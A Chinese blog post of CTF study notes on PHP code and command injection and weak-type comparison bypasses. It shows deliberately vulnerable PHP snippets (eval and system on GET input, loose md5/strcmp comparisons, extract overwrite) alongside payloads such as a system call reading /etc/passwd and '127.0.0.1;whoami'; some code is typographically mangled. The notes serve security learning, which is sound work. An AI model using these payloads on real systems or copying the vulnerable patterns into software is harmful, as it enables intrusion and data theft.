首页 > Web开发 > 详细

PHP 弱类型 && CODE/COMMADN injection

时间:2020-09-03 21:02:47      阅读:91      评论:0      收藏:0      [点我收藏+]

CODE/COMMAND INJECTION

CODE INJECTION

 

https://www.freebuf.com/sectool/168653.html

EXAMPLE1

 技术分享图片

 

 

<?php

$str = “echo \”hello “. $GET_[‘name’].”!!!\”;”;      .是连接  双引号注意就近。  

Eval($str);          \”双引号转义 因为echo  内容需要是字符串

?>

 

注意单引号双引号区别

 

%22.system(%27ls%27);//   输入,替换了$GET_[‘name’]

 

%22 :   “

%27: ‘

 

<?php

$str = “echo \”hello “. %22.system(%27ls%27);//.”!!!\”;”;    

Eval($str);

?>

 

‘.cat /etc/passwd’

 

%22.system(‘cat  /etc/passwd’);//   失败

%22.system(%27cat  /etc/passwd%27);//     成功

 

COMMAND INJECTION

Example 1

<?php

System(‘ping –c $_GET[‘ip’]’ );

?>

 

127.0.0.1;whoami

PHP 弱类型

= ==

 

strcmp()

 

<?php 
    if (isset($_GET[value])) { 
    if (strcmp($_GET[value], $flag) == 0) 
        die(Flag is: .$flag); 
    else print Flag is not here !; 
} 
?>

 

Strcmp= s1-s2

 

参数是两个数组,输入数组则错误,判断相等

技术分享图片

 

 技术分享图片

 

 

Urlcode 二次编码绕过

 

/i 不区分大小写

浏览器对用户输入数据自动解码(比如输入 %27

<?php 
    if(preg_match("/hackerDJ/i",$_GET[id])) {
 echo(" not allowed ! "); 
 exit();
 } 
 $_GET[id] = urldecode($_GET[id]);  //解码
 if($_GET[id] == "hackerDJ") { 
  die(Flag is: .$flag);  
 }
?>

 

 

D ,%44,再次urlencode,得到 %2544 

技术分享图片

 

 

整数类型大小比较

 

数组在比较中恒大与具体值

 

其他类型和整形比较会先 intval()

<?php 
$temp = $_GET[id]; 
is_numeric($temp) ? die("retry !") : NULL; 
if($temp>6607){ 
    die(Flag is: .$flag);  
} else print Flag is not here !;
?> Flag is not here !

 

 

技术分享图片

 

 

Extract 变量覆盖

Extract(array,extract_rules,prefix)

 

<?php 
    $flags=test.txt;
    extract($_GET); 
    if(isset($id)) { 
        $content=trim(file_get_contents($flags)); 
    if($id==$content) { 
        die(Flag is: .$flag);
    } else { 
    print Flag is not here !; 
    } } 
    ?>

 

 

如果输入id=$content

 

使用extract接收输入,存在变量覆盖,覆盖flags

接收输入后,flags=1,此时

file_get_contents($flags)

取不到文件,故content为空

同时输入id是空。   &是连接符,重新复制flags

输出flag

技术分享图片

 

 

Intval()

小数取整echo intval(9.999); // 9。最大值取决于操作系统

 

<?php
    $key = $_GET[key];
    if(intval($key) > 1||intval($key) < 0){
        die("key is not right");
    }
    elseif (intval($key) < 1) {
        if ($key ==1) {
            die(Flag is: .$flag); 
        }else print key is not right !!!;
    } ?> key is not right !!!

 

 

Php中弱比较,1==0.999999999999999999999999

比如 echo 1==0.999999999999999999999999  输出1

技术分享图片

 

 

 

 

正则截断

 

Erge

 

Php版本小于5.3

 

遇到%00 默认字符串结束

 

 

 

Preg_match()

 

Php>=5.3

 

遇到%00 默认字符串结束

 

 


<?php 
    if(isset($_GET[password])){
if(preg_match("/^[a-zA-Z0-9]+$/", $_GET[password]) === FALSE){ 
    print(You password not right); 

} elseif(strlen($_GET[password]) < 8 && $_GET[password] > 9999999){
    if(strpos($_GET[password], *_*) !== FALSE){
     die(Flag is:.$flag); 
} else{ 
    print(*_* have not been found); 
    } 
} else{ 
    print(Invalid password); 
    } 
}
?>

 

1e8 >9999999 字符串长度小于8

技术分享图片

 

 

Eval() 注入

把字符串当做PHP代码执行。只能执行不能回显。

 

<?php 
    if (isset($_GET[id])) { 
    $id = $_GET[id];
    eval("var_dump($id);");
} 
?>

 

 

闭合括号,注释掉后面

技术分享图片

 

 

Md5()弱比较

PHPmd5对数组加密返回NULL

对所有0e开头(16进制)字符串认为相等

<?php 
if (isset($_GET[p1]) && isset($_GET[p2])) { 
    if ($_GET[p1] != $_GET[p2] && md5($_GET[p1]) == md5($_GET[p2])) 
        die(Flag is: .$flag); 
    else print Flag is not here !; 
} 
?>

 

输入数组用  ?p1[],多个用 &

技术分享图片

 

 

Md5()强比较

== 只对值比较,两边先转化为同种类型,若一方为数字另一方为空或null或数组,现将字符串转化为0

 

=== 比较类型和值

<?php 
if (isset($_GET[p1]) && isset($_GET[p2])) { 
    if ($_GET[p1] != $_GET[p2] && md5($_GET[p1]) === md5($_GET[p2])) 
        die(Flag is: .$flag); 
    else print Flag is not here !; 
} 
?>

 

 技术分享图片

 

 

Sha()弱比较

对数组加密返回NULL

<?php 
if (isset($_GET[name]) and isset($_GET[password])) { 
    if ($_GET[name] == $_GET[password]) 
        echo  Your password can not be your name! ; 
    else if (sha1($_GET[name]) === sha1($_GET[password])) 
        die(Flag: .$flag); else echo  Invalid password ; 
} 
else echo Flag is not here !; 
?> Flag is not here !

 

技术分享图片

 

 

Strpos

查找字符串在字符串第一次出现的位置。Strposstringfindstart)。在string中查找find

<?php 
if (isset($_GET[id])) { 
    $one = ord(0); 
    $nine = ord(9);
    for($i = 0; $i < strlen($_GET[id]); $i++) {  
        $digit = ord($_GET[id]{$i}); 
        if(($digit < $one) || ($digit > $nine) ) { 
            print("必须输入数字才行");
            return FALSE; 
            } 
        } 
    if (strpos($_GET[id], sss607) !== FALSE) 
        die(Flag: .$flag); 
    else echo flag is not here ~; 
}
?>

 

先判断只有数字

Strpos对数组查找返回NULLNULL!==flase

技术分享图片

 

 

Session 验证绕过

Session_start() 用来初始化session或从session仓库加载已经存在的session变量

 

<?php 
@session_start(); 
print($_SESSION["password"]);
    if ($_GET[password] == $_SESSION[password])
        die (Flag: .$flag);
    else
        print password is not right !;
$_SESSION[password]=rand(10000000,99999999);
?>

 

系统会判断用户输入的password的值是否与当前sessionpassword值相同。初始时session为空,故输入password为空即可

若直接访问过http://10.201.132.248:8090/13.session/session.php session已经存在,不为空。清空缓存或者换浏览器即可

技术分享图片

 

 

PHP 弱类型 && CODE/COMMADN injection

原文:https://www.cnblogs.com/lqerio/p/13610142.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!